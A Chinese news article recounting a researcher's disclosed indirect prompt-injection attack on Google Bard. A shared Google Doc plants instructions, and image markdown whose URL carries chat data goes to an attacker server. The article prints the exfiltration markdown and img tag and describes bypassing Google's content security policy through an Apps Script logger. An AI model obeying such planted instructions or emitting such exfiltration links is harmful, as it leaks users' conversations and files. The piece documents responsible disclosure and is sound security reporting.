谷歌 Bard「破防」,用自然语言破解,提示注入引起数据泄漏风险

操控 Bard 的秘密:运用一种叫提示注入(Prompt Injection)的技术,黑客可以只使用自然语言破解人工智能系统。

大型语言模型在生成文本时非常依赖提示词。这种攻击技术对于通过提示词学习模型而言可谓是「以彼之矛,攻己之盾」,是最强长项,同时也是难以防范的软肋。

提示词分为系统指令和用户给出的指令,在自然语言中,这两者难以区分。如果用户有意在输入提示词时,模仿系统指令,那么模型可能在对话里透露一些只有它才知道的「秘密」。

提示注入攻击有多种形式,主要为直接提示注入和间接提示注入。直接提示注入指用户直接向模型输入恶意指令,试图引发意外或有害的行为。间接提示注入指攻击者将恶意指令注入到可能被模型检索或摄入的文档中,从而间接地控制或引导模型。

有网友使用「系统指令」引导 GPT 泄露数据

最近,谷歌 Bard 迎来了一波强大的更新,Bard 增加了拓展功能,支持访问 YouTube,搜索航班和酒店,还能查阅用户的个人文件和邮件。

除此之外,Bard 可以连接到「谷歌全家桶」,访问你的谷歌云盘、文档和邮件!但这同时意味着 Bard 将分析不受信任的数据,容易受间接提示注入的影响。也就是说,不怀好意的人可能通过向你发送电子邮件或强行分享谷歌文档进行间接的提示注入攻击,因为对方发什么样的邮件、文档给你,你是控制不了的,但 Bard 却会无差别访问。

在安全风险分析领域有着 20 年经验的前微软 Azure 安全工程师 Johann Rehberger 体验了 Bard 的全新版本,并测试了被提示注入攻击时,Bard 的数据泄漏风险。

原博客链接:embracethered.com/blog/posts/...

Johann 首先快速验证了提示注入的可行性。他通过让 Bard 分析旧的 YouTube 视频,并使用谷歌文档进行测试测试结果显示,Bard 确实按照他的额外提示进行了操作,这证明了接下来要进行的测试的可行性。

Bard 的漏洞:图像 Markdown 注入

在得知 Bard 可以被提示注入后,Johann 开始了进一步的研究。

LLM 应用中的一个常见漏洞是通过渲染超链接和图像来泄露聊天历史记录。问题是,这如何适用于谷歌 Bard?

当谷歌的大模型返回文本时,它可以返回 markdown 元素,Bard 将其呈现为 HTML! 这包括渲染图像的功能。

想象一下谷歌的大模型返回这样的文本:

ini 复制代码
![Data Exfiltration in Progress](https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION])

这将呈现为 HTML 图像标记,其 src 属性指向 attacker 服务器。

ini 复制代码
<img src="https://wuzzi.net/logo.png?goog=[DATA_EXFILTRATION]">

浏览器会自动连接到 URL,无需用户交互即可加载图片。借助 LLM 的强大功能,我们可以在聊天上下文中总结或访问以前的数据,并将其相应地附加到 URL 中。

在编写漏洞利用程序时,Johann 很快就开发出了一个提示注入有效载荷,它可以读取对话的历史记录,并形成一个包含该历史记录的超链接。然而,谷歌的内容安全策略(CSP)阻止了图像的渲染。这对攻击者来说是一个难题。

绕过内容安全策略

要从攻击者控制的服务器渲染图片,并不容易。谷歌的内容安全策略阻止从任意源加载图片。CSP 包含诸如 *.google.com*.googleusercontent.com 之类的源,相当广泛。这意味着应该能找到一种绕过方法。

研究后,Johann 得知了 Google Apps Script,这或许可以绕过 CSP。

Apps Scripts 类似于 Office 里的宏,可以通过 URL 调用,并在 script.google.com(或 googleusercontent.com)域上运行。

如此一来,Bard Logger 可以在 Apps Script 中完成了。这个 Logger 将所有附加到调用 URL 的查询参数写入一个 Google Doc,而它正是外泄的目的地。

起初,Johann 以为这个方法并不可行,但他发现点击了几下 Apps Script 用户界面后,他找到了一个无需验证的设置。

接下来,一切准备工作就绪:

  • 确认了谷歌 Bard 易受通过扩展程序数据间接注入提示的影响
  • 谷歌 Bard 有允许零点击渲染图片的漏洞
  • 一个写有提示注入指令的恶意谷歌文档
  • 一个位于 google.com 上的日志端点,用于在图像加载时接收数据。

泄露过程

Johann 提供了他让 Bard 泄露数据的全过程。

原视频链接:www.youtube.com/watch?v=CKA...

首先,和 Bard 先聊一些日常:

用户访问一个谷歌文档(The Bard2000),这导致攻击者指令注入和图像渲染。

攻击者通过 Apps Script 中的脚本将数据接收到谷歌文档。

以下是 Johann 用于「提示注入」的谷歌文档:

谷歌的修复

这个安全问题已经于 2023 年 9 月 19 日报告给 Google VRP。

10 月 19 日,Johann 想要在 Ekoparty 2023 中进行演示,所以询问了关于这个漏洞的情况。Google 确认已经修复。目前还不太清楚谷歌采取了何种修复措施。但 CSP 没有修改,仍然可以渲染图像。因此,这可能是已经采取了一些过滤措施,以防止将数据插入到 URL 中。

参考链接:

embracethered.com/blog/posts/...

www.youtube.com/watch?v=CKA...

相关推荐
冬奇Lab10 小时前
开源项目第197期:skill-up — 阿里巴巴出品的 Agent Skills 评测与进化工具,评测闭环 + 自动修复
人工智能·开源·资讯
冬奇Lab1 天前
开源项目第196期:LiveTalking — 实时交互流式数字人引擎,支持 Wav2Lip/MuseTalk/ER-NeRF
人工智能·开源·资讯
冬奇Lab4 天前
开源项目第193期:Semantica — 开源版 Palantir for AI Agent,知识图谱 + 确定性推理 + W3C 溯源,让 AI 决策可追溯、可审计、可合规
人工智能·开源·资讯
冬奇Lab5 天前
开源项目第192期:shadcn-admin — Vite + shadcn/ui 构建的后台管理界面参考集
开源·资讯
怕浪猫6 天前
DeepSeek Harness 源码实战 第4章:Session 会话日志——单一事实源
agent·产品·资讯
冬奇Lab6 天前
开源项目第191期:gstack — YC CEO Garry Tan 开源的 AI 虚拟工程团队,23 个专家角色 slash command,从产品构思到上线发布的完整研发流程
人工智能·开源·资讯
冬奇Lab8 天前
开源项目第189期:DeepTutor — Agent 原生的终身个性化学习工作台,三层记忆+多引擎RAG+Partners
人工智能·开源·资讯
怕浪猫10 天前
第9章 能力迁移:内容类产品设计
产品经理·产品·资讯
冬奇Lab10 天前
开源项目第188期:深入理解 AI Agent — 李博杰开源的 AI Agent 完整技术书,10章95实验
人工智能·开源·资讯
冬奇Lab12 天前
开源项目第186期:Open Ontologies — Rust 实现的 AI 原生本体工程 MCP 服务器
人工智能·开源·资讯